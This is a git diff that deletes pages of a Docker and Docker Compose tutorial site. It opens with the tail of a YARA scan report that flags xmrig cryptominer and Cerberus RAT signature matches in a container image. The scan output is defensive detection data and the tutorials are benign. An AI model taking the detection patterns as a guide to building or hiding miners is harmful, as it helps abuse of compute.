"XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/base/net/stratum/Url.cpp", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/usr/local/bin/xmrig", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/build/CMakeFiles/xmrig.dir/src/base/net/stratum/Url.cpp.o", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "Cerberus", "Strings to match are": \[ "cerberus" \], "Category": \["RAT","memory"\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst", "description":"Cerberus ", "author":"Jean-Philippe Teissier / @Jipe\_ ", "date":"2013-01-12 ", "filetype":"memory ", "version":"1.0 ", "Summary": "The file /tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst has a memory match.The file has a rule match that Cerberus .The matched rule file's author is Jean-Philippe Teissier / @Jipe\_ .The matched rule file's date is 2013-01-12 .The matched rule file's filetype is memory .The matched rule file's version is 1.0 ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/base/net/stratum/Url.cpp", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." }
-
-\] }
-

Check it out YaraHunter and support this project by giving gitstar !

-

Readme Card

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/build-a-base-image-from-scratch/index.html b/public/docker/build-a-base-image-from-scratch/index.html deleted file mode 100644 index 520016a..0000000 --- a/public/docker/build-a-base-image-from-scratch/index.html +++ /dev/null @@ -1,783 +0,0 @@ - - - - - - - - -Build a Base Image from Scratch · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Build a Base Image from Scratch

-
-
- - -

write simple c program

-
#include<stdio.h>
-
-int main()
-{
-printf("dockerworkshop");
-}
-

Compile C program

-
gcc -o hello hello.c 
-
-✗ ./hello 
-dockerworkshop%     
-

create dockerfile with following content :

-
FROM scratch
-ADD hello /
-CMD ["/hello"]
-

Build Dockerfile without any base image

-
Dockerfile git:(main) ✗ docker build -t sangam14/hello-scratch -f dockerfile.hello .
-[+] Building 0.1s (5/5) FINISHED                                                                                                                                                                  
- => [internal] load build definition from dockerfile.hello                                                                                                                                   0.0s
- => => transferring dockerfile: 87B                                                                                                                                                          0.0s
- => [internal] load .dockerignore                                                                                                                                                            0.0s
- => => transferring context: 2B                                                                                                                                                              0.0s
- => [internal] load build context                                                                                                                                                            0.0s
- => => transferring context: 33.47kB                                                                                                                                                         0.0s
- => [1/1] ADD hello /                                                                                                                                                                        0.0s
- => exporting to image                                                                                                                                                                       0.0s
- => => exporting layers                                                                                                                                                                      0.0s
- => => writing image sha256:769934a6858c0910a3682e966da6c8d9c15b0324307b092eb77258a9a08879ce                                                                                                 0.0s
- => => naming to docker.io/sangam14/hello-scratch       
-

run docker image

-
 docker run sangam14/hello-scratch 
- dockerworkshop
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/index.html b/public/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/index.html deleted file mode 100644 index 74bab82..0000000 --- a/public/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/index.html +++ /dev/null @@ -1,979 +0,0 @@ - - - - - - - - -Build Own Dockerfile and Docker Compose with Custom configuration · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Build Own Dockerfile and Docker Compose with Custom configuration

-
-
- - -

Build Own Dockerfile and Docker Compose with Custom configuration

-

crate docker compose file with following content

-
version: '3'
-services:
-  phpapp:
-    build:
-      context: ./
-      dockerfile: Dockerfile
-    image: phpapp:123
-    ports:
-      - "8080:80"
-    volumes:
-      - "./:/var/www/html"
-    container_name: my-php-app
-
    -
  • here using dockerfile to generate an image
  • -
  • mount folder inside your directory automatically
  • -
-

create index.php with following content

-
<?php
-
-phpinfo();
-

build docker compose file

-
 3-DC-Custom git:(main) ✗ docker compose up 
-[+] Running 0/1
- ⠿ phpapp Warning                                                    3.5s
-[+] Building 6.4s (7/7) FINISHED                                          
- => [internal] load .dockerignore                                    0.0s
- => => transferring context: 2B                                      0.0s
- => [internal] load build definition from Dockerfile.1               0.0s
- => => transferring dockerfile: 58B                                  0.0s
- => [internal] load metadata for docker.io/library/php:7.2-apache    4.7s
- => [auth] library/php:pull token for registry-1.docker.io           0.0s
- => CACHED [1/1] FROM docker.io/library/php:7.2-apache@sha256:4dc0f  0.0s
- => => resolve docker.io/library/php:7.2-apache@sha256:4dc0f0115acf  0.0s
- => exporting to docker image format                                 1.7s
- => => exporting layers                                              0.0s
- => => exporting manifest sha256:0ba34bb4f00dd5ff9830453180af98fe10  0.0s
- => => exporting config sha256:a1c8ee68f9b1abcb72605f5bf0eee69dbf23  0.0s
- => => sending tarball                                               1.6s
- => importing to docker                                              0.0s
-[+] Running 2/2
- ⠿ Network 3-dc-custom_default  Cre...                               0.1s
- ⠿ Container my-php-app         Created                              0.1s
-Attaching to my-php-app
-

check it out localhost 80

-

http://localhost:8080

-

update your existing Dockerfile with following content

-
FROM php:7.2-apache
-
-RUN apt-get -y update \
-&& apt-get install -y libicu-dev \ 
-&& docker-php-ext-configure intl \
-&& docker-php-ext-install intl
-
-RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli
-

update existing docker-compose.yml

-
version: '3'
-services:
-  phpapp:
-    build:
-      context: ./
-      dockerfile: Dockerfile.2
-    image: phpapp:123
-    ports:
-      - "8080:80"
-    volumes:
-      - "./:/var/www/html"
-    container_name: my-php-app
-

rebuild docker compose

-
3-DC-Custom git:(main) ✗ docker compose up --build
-[+] Building 43.1s (9/9) FINISHED                                         
- => [internal] load .dockerignore                                    0.0s
- => => transferring context: 2B                                      0.0s
- => [internal] load build definition from Dockerfile.2               0.0s
- => => transferring dockerfile: 255B                                 0.0s
- => [internal] load metadata for docker.io/library/php:7.2-apache    2.3s
- => [auth] library/php:pull token for registry-1.docker.io           0.0s
- => CACHED [1/3] FROM docker.io/library/php:7.2-apache@sha256:4dc0f  0.0s
- => => resolve docker.io/library/php:7.2-apache@sha256:4dc0f0115acf  0.0s
- => [2/3] RUN apt-get -y update && apt-get install -y libicu-dev &  28.9s
- => [3/3] RUN docker-php-ext-install mysqli && docker-php-ext-enabl  6.9s
- => exporting to docker image format                                 4.9s 
- => => exporting layers                                              2.3s 
- => => exporting manifest sha256:ee6a98e1847d8149754239ab5be0cad310  0.0s 
- => => exporting config sha256:2800277bcab2cb605936b4f874bff2c8251d  0.0s 
- => => sending tarball                                               2.6s 
- => importing to docker                                              0.5s 
-[+] Running 1/1
- ⠿ Container my-php-app  Recreated                                   0.1s
-Attaching to my-php-app
-my-php-app  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.22.0.2. Set the 'ServerName' directive globally to suppress this message
-my-php-app  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.22.0.2. Set the 'ServerName' directive globally to suppress this message
-my-php-app  | [Fri Mar 03 11:55:09.580207 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/7.2.34 configured -- resuming normal operations
-my-php-app  | [Fri Mar 03 11:55:09.580274 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
-my-php-app  | 172.22.0.1 - - [03/Mar/2023:11:55:14 +0000] "GET /mysql HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
-my-php-app  | 172.22.0.1 - - [03/Mar/2023:11:55:19 +0000] "GET / HTTP/1.1" 200 23831 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
-¸^CGracefully stopping... (press Ctrl+C again to force)
-Aborting on container exit...
-[+] Running 1/1
- ⠿ Container my-php-app  Stopped                                     1.2s
-canceled
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-build-command/index.html b/public/docker/docker-compose-cli-build-command/index.html deleted file mode 100644 index 4537632..0000000 --- a/public/docker/docker-compose-cli-build-command/index.html +++ /dev/null @@ -1,1010 +0,0 @@ - - - - - - - - -Docker Compose CLI - Build Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Build Command

-
-
- - -

Docker Compose Build Command

-
docker compose build [OPTIONS] [SERVICE...]
-

If you change a service’s Dockerfile or the contents of its build directory, run docker compose build to rebuild it.

-

--build-arg Set build-time variables for services. ---no-cache Do not use cache when building the image ---progress auto Set type of progress output (auto, tty, plain, quiet) . ---pull Always attempt to pull a newer version of the image.. ---push Push service images.. ---quiet , -q Don’t print anything to STDOUT. ---ssh Set SSH authentications used when building .service images. (use ‘default’ for using your default SSH Agent)

-

create dockerfile with following content

-
# syntax=docker/dockerfile:1
-FROM python:3.7-alpine
-WORKDIR /code
-ENV FLASK_APP=app.py
-ENV FLASK_RUN_HOST=0.0.0.0
-RUN apk add --no-cache gcc musl-dev linux-headers
-COPY requirements.txt requirements.txt
-RUN pip install -r requirements.txt
-EXPOSE 5000
-COPY . .
-CMD ["flask", "run"]
-

create app.py with following content

-
import time
-
-import redis
-from flask import Flask
-
-app = Flask(__name__)
-cache = redis.Redis(host='redis', port=6379)
-
-def get_hit_count():
-    retries = 5
-    while True:
-        try:
-            return cache.incr('hits')
-        except redis.exceptions.ConnectionError as exc:
-            if retries == 0:
-                raise exc
-            retries -= 1
-            time.sleep(0.5)
-
-@app.route('/')
-def hello():
-    count = get_hit_count()
-    return 'Hello World! I have been seen {} times.\n'.format(count)
-

create requirements.txt with following content

-
flask
-redis
-

create docker-compose.yml with following content

-
version: "3.9"
-services:
-  web:
-    build: .
-    ports:
-      - "8000:5000"
-  redis:
-    image: "redis:alpine"
-

docker compose build

-

- 7-DC-CLI git:(main) ✗ docker compose build 
-[+] Building 27.1s (15/15) FINISHED                                                                                   
- => [internal] booting buildkit                                                                                  0.5s
- => => starting container buildx_buildkit_great_brahmagupta0                                                     0.5s
- => [internal] load build definition from Dockerfile                                                             0.0s
- => => transferring dockerfile: 319B                                                                             0.0s
- => [internal] load .dockerignore                                                                                0.0s
- => => transferring context: 2B                                                                                  0.0s
- => resolve image config for docker.io/docker/dockerfile:1                                                       3.8s
- => docker-image://docker.io/docker/dockerfile:1@sha256:39b85bbfa7536a5feceb7372a0817649ecb2724562a38360f4d6a77  3.1s
- => => resolve docker.io/docker/dockerfile:1@sha256:39b85bbfa7536a5feceb7372a0817649ecb2724562a38360f4d6a7782a4  0.0s
- => => sha256:9d0cd65540a143ce38aa0be7c5e9efeed30d3580d03667f107cd76354f2bee65 10.82MB / 10.82MB                 3.0s
- => => extracting sha256:9d0cd65540a143ce38aa0be7c5e9efeed30d3580d03667f107cd76354f2bee65                        0.1s
- => [internal] load metadata for docker.io/library/python:3.7-alpine                                             3.6s
- => [1/6] FROM docker.io/library/python:3.7-alpine@sha256:c9c2d6f97a00b211def3818830883495417e3b1fd34783ce6135c  3.9s
- => => resolve docker.io/library/python:3.7-alpine@sha256:c9c2d6f97a00b211def3818830883495417e3b1fd34783ce6135c  0.0s
- => => sha256:57a125a213d772ab0750422ad92f1cc7d1d97e0b09ad4ed766d9cd50db8e2b50 2.88MB / 2.88MB                   1.9s
- => => sha256:2bd7dfc9c660f2a9be2e537fd8f7f3c289ea1ba335c957472bd9a51630c9b449 230B / 230B                       0.6s
- => => sha256:6b1178b7c6752e0d2eb293ee14286ec1f75d0f868d9826bcaba24fe33affea99 11.01MB / 11.01MB                 3.0s
- => => sha256:cdba2f6867522ee9d2e8dcc9b1ad3ec5bafe75da976a3e613ff26cbc98738b48 624.86kB / 624.86kB               3.5s
- => => sha256:af6eaf76a39c2d3e7e0b8a0420486e3df33c4027d696c076a99a3d0ac09026af 3.26MB / 3.26MB                   0.6s
- => => extracting sha256:af6eaf76a39c2d3e7e0b8a0420486e3df33c4027d696c076a99a3d0ac09026af                        0.1s
- => => extracting sha256:cdba2f6867522ee9d2e8dcc9b1ad3ec5bafe75da976a3e613ff26cbc98738b48                        0.1s
- => => extracting sha256:6b1178b7c6752e0d2eb293ee14286ec1f75d0f868d9826bcaba24fe33affea99                        0.2s
- => => extracting sha256:2bd7dfc9c660f2a9be2e537fd8f7f3c289ea1ba335c957472bd9a51630c9b449                        0.0s
- => => extracting sha256:57a125a213d772ab0750422ad92f1cc7d1d97e0b09ad4ed766d9cd50db8e2b50                        0.1s
- => [internal] load build context                                                                                0.0s
- => => transferring context: 1.08kB                                                                              0.0s
- => [2/6] WORKDIR /code                                                                                          0.1s
- => [3/6] RUN apk add --no-cache gcc musl-dev linux-headers                                                      3.1s
- => [4/6] COPY requirements.txt requirements.txt                                                                 0.0s
- => [5/6] RUN pip install -r requirements.txt                                                                    3.1s
- => [6/6] COPY . .                                                                                               0.0s
- => exporting to docker image format                                                                             5.6s
- => => exporting layers                                                                                          3.4s
- => => exporting manifest sha256:198e97700c3c0f4a28b481ceacda99d7dacf2c8f42c86f7f4ffd6e5094098322                0.0s
- => => exporting config sha256:dba54b65e3daa61d0ce759dc20145718068c33daf2eaf908c03e03934024df88                  0.0s
- => => sending tarball                                                                                           2.2s
- => importing to docker                                                                                          1.4s
-➜  7-DC-CLI git:(main) ✗ 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-config-command/index.html b/public/docker/docker-compose-cli-config-command/index.html deleted file mode 100644 index f40ef3a..0000000 --- a/public/docker/docker-compose-cli-config-command/index.html +++ /dev/null @@ -1,988 +0,0 @@ - - - - - - - - -Docker Compose CLI - Config Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Config Command

-
-
- - -

create dockerfile with following content

-
# syntax=docker/dockerfile:1
-FROM python:3.7-alpine
-WORKDIR /code
-ENV FLASK_APP=app.py
-ENV FLASK_RUN_HOST=0.0.0.0
-RUN apk add --no-cache gcc musl-dev linux-headers
-COPY requirements.txt requirements.txt
-RUN pip install -r requirements.txt
-EXPOSE 5000
-COPY . .
-CMD ["flask", "run"]
-

create app.py with following content

-
import time
-
-import redis
-from flask import Flask
-
-app = Flask(__name__)
-cache = redis.Redis(host='redis', port=6379)
-
-def get_hit_count():
-    retries = 5
-    while True:
-        try:
-            return cache.incr('hits')
-        except redis.exceptions.ConnectionError as exc:
-            if retries == 0:
-                raise exc
-            retries -= 1
-            time.sleep(0.5)
-
-@app.route('/')
-def hello():
-    count = get_hit_count()
-    return 'Hello World! I have been seen {} times.\n'.format(count)
-

create requirements.txt fil with following content

-
flask
-redis
-

create docker-compose.yml with following content

-
version: "3.9"
-services:
-  web:
-    build: .
-    ports:
-      - "8000:5000"
-  redis:
-    image: "redis:alpine"
-

docker compose config

-
7-DC-CLI git:(main) ✗ docker compose config 
-name: 7-dc-cli
-services:
-  redis:
-    image: redis:alpine
-    networks:
-      default: null
-  web:
-    build:
-      context: /Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/7-DC-CLI
-      dockerfile: Dockerfile
-    networks:
-      default: null
-    ports:
-    - mode: ingress
-      target: 5000
-      published: "8000"
-      protocol: tcp
-networks:
-  default:
-    name: 7-dc-cli_default
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-cp-command/index.html b/public/docker/docker-compose-cli-cp-command/index.html deleted file mode 100644 index c4bd978..0000000 --- a/public/docker/docker-compose-cli-cp-command/index.html +++ /dev/null @@ -1,973 +0,0 @@ - - - - - - - - -Docker Compose CLI - CP Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - CP Command

-
-
- - -

Copy files/folders between a service container and the local filesystem

-
# Syntax to Copy from Container to Docker Host  
-docker cp {options} CONTAINER:SRC_PATH DEST_PATH 
-# Syntax to Copy from Docker Host to Container  
-docker cp {options} SRC_PATH CONTAINER:DEST_PATH 
-

lets run ngnix container

-
version: '3'
-services:
-  web:
-    image: nginx:latest
-

run docker compose up

-
docker compose -f docker-compose-ngnix.yml up 
-

check running container

-
➜  dockerworkshop git:(main) ✗ docker ps
-CONTAINER ID   IMAGE                           COMMAND                  CREATED              STATUS              PORTS     NAMES
-008940fdbed8   nginx:latest                    "/docker-entrypoint.…"   29 seconds ago       Up 28 seconds       80/tcp    7-dc-cli-web-1
-

create index.html

-

- Docker-Compose git:(main)cd 7-DC-CLI 
-➜  7-DC-CLI git:(main) ✗ ls
-Dockerfile               app.py                   docker-compose-ngnix.yml docker-compose.yml       index.html               requirements.txt         src
-

copy index.html

-
$ docker-compose cp index.html web:/usr/share/nginx/html/
-
services:
-  web:
-    image: nginx
-    volumes:
-      - ./nginx.conf:/etc/nginx/nginx.conf
-    ports:
-      - "80:80"
-    command: nginx-debug -g 'daemon off;'
-    copy:
-      - ./index.html:/usr/share/nginx/html/index.html
-
services:
-  web:
-    image: nginx
-    volumes:
-      - ./nginx.conf:/etc/nginx/nginx.conf
-    ports:
-      - "80:80"
-    command: nginx-debug -g 'daemon off;'
-    copy:
-      - ./index.html:/usr/share/nginx/html/index.html
-      - ./style.css:/usr/share/nginx/html/style.css
-      - ./images:/usr/share/nginx/html/images
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-create-command/index.html b/public/docker/docker-compose-cli-create-command/index.html deleted file mode 100644 index bc2e374..0000000 --- a/public/docker/docker-compose-cli-create-command/index.html +++ /dev/null @@ -1,958 +0,0 @@ - - - - - - - - -Docker Compose CLI - Create Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Create Command

-
-
- - -

create docker-compose.yml with following content

-
version: "3.9"
-services:
-  web:
-    build: .
-    ports:
-      - "8000:5000"
-  redis:
-    image: "redis:alpine"
-

Creates containers for a service.

-
➜  7-DC-CLI git:(main) ✗ docker compose create 
-[+] Running 7/7
- ⠿ redis Pulled                                                                                                                                                                      6.1s
-   ⠿ af6eaf76a39c Already exists                                                                                                                                                     0.0s
-   ⠿ 5015c79ed515 Pull complete                                                                                                                                                      0.9s
-   ⠿ 2ca28624189f Pull complete                                                                                                                                                      1.0s
-   ⠿ 4691452befb1 Pull complete                                                                                                                                                      1.6s
-   ⠿ 746fa87aff8c Pull complete                                                                                                                                                      2.1s
-   ⠿ b8496ad2d107 Pull complete                                                                                                                                                      2.2s
-WARN[0006] Found orphan containers ([7-dc-cli-client-1]) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up. 
-[+] Running 2/2
- ⠿ Container 7-dc-cli-redis-1  Created                                                                                                                                               0.1s
- ⠿ Container 7-dc-cli-web-1    Recreated                                                                                                                                             0.1s
-➜  7-DC-CLI git:(main) ✗ 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-down-command/index.html b/public/docker/docker-compose-cli-down-command/index.html deleted file mode 100644 index 7849c3e..0000000 --- a/public/docker/docker-compose-cli-down-command/index.html +++ /dev/null @@ -1,978 +0,0 @@ - - - - - - - - -Docker Compose CLI - Down Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Down Command

-
-
- - -

create docker-compose.yml with following content

-
version: "3.9"
-services:
-  web:
-    build: .
-    ports:
-      - "8000:5000"
-  redis:
-    image: "redis:alpine"
-

Create docker compose up

-

- docker compose up 
-WARN[0000] Found orphan containers ([7-dc-cli-client-1]) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up. 
-Attaching to 7-dc-cli-redis-1, 7-dc-cli-web-1
-7-dc-cli-redis-1  | 1:C 04 Mar 2023 14:23:46.156 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
-7-dc-cli-redis-1  | 1:C 04 Mar 2023 14:23:46.156 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started
-7-dc-cli-redis-1  | 1:C 04 Mar 2023 14:23:46.156 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
-7-dc-cli-redis-1  | 1:M 04 Mar 2023 14:23:46.157 * monotonic clock: POSIX clock_gettime
-7-dc-cli-redis-1  | 1:M 04 Mar 2023 14:23:46.158 * Running mode=standalone, port=6379.
-7-dc-cli-redis-1  | 1:M 04 Mar 2023 14:23:46.158 # Server initialized
-7-dc-cli-redis-1  | 1:M 04 Mar 2023 14:23:46.160 * Ready to accept connections
-7-dc-cli-web-1    |  * Serving Flask app 'app.py'
-7-dc-cli-web-1    |  * Debug mode: off
-7-dc-cli-web-1    | WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
-7-dc-cli-web-1    |  * Running on all addresses (0.0.0.0)
-7-dc-cli-web-1    |  * Running on http://127.0.0.1:5000
-7-dc-cli-web-1    |  * Running on http://172.18.0.3:5000
-7-dc-cli-web-1    | Press CTRL+C to quit
-

Create docker compose Down

-
 7-DC-CLI git:(main) ✗ docker compose down 
-[+] Running 3/3
- ⠿ Container 7-dc-cli-redis-1  Removed                                                                                                                                               0.2s
- ⠿ Container 7-dc-cli-web-1    Removed                                                                                                                                              10.2s
- ⠿ Network 7-dc-cli_default    Removed                                                                                                                                               0.1s
-➜  7-DC-CLI git:(main) ✗ 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-events-command/index.html b/public/docker/docker-compose-cli-events-command/index.html deleted file mode 100644 index 5e801ab..0000000 --- a/public/docker/docker-compose-cli-events-command/index.html +++ /dev/null @@ -1,1281 +0,0 @@ - - - - - - - - -Docker Compose CLI - Events Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Events Command

-
-
- - -

here is sample voting app

-
cat docker-compose.yml 
-# version is now using "compose spec"
-# v2 and v3 are now combined!
-# docker-compose v1.27+ required
-
-services:
-  vote:
-    build: ./vote
-    # use python rather than gunicorn for local dev
-    command: python app.py
-    depends_on:
-      redis:
-        condition: service_healthy
-    healthcheck: 
-      test: ["CMD", "curl", "-f", "http://localhost"]
-      interval: 15s
-      timeout: 5s
-      retries: 3
-      start_period: 10s
-    volumes:
-     - ./vote:/app
-    ports:
-      - "5000:80"
-    networks:
-      - front-tier
-      - back-tier
-
-  result:
-    build: ./result
-    # use nodemon rather than node for local dev
-    entrypoint: nodemon server.js
-    depends_on:
-      db:
-        condition: service_healthy 
-    volumes:
-      - ./result:/app
-    ports:
-      - "5001:80"
-      - "5858:5858"
-    networks:
-      - front-tier
-      - back-tier
-
-  worker:
-    build:
-      context: ./worker
-    depends_on:
-      redis:
-        condition: service_healthy 
-      db:
-        condition: service_healthy 
-    networks:
-      - back-tier
-
-  redis:
-    image: redis:alpine
-    volumes:
-      - "./healthchecks:/healthchecks"
-    healthcheck:
-      test: /healthchecks/redis.sh
-      interval: "5s"
-    networks:
-      - back-tier
-
-  db:
-    image: postgres:15-alpine
-    environment:
-      POSTGRES_USER: "postgres"
-      POSTGRES_PASSWORD: "postgres"
-    volumes:
-      - "db-data:/var/lib/postgresql/data"
-      - "./healthchecks:/healthchecks"
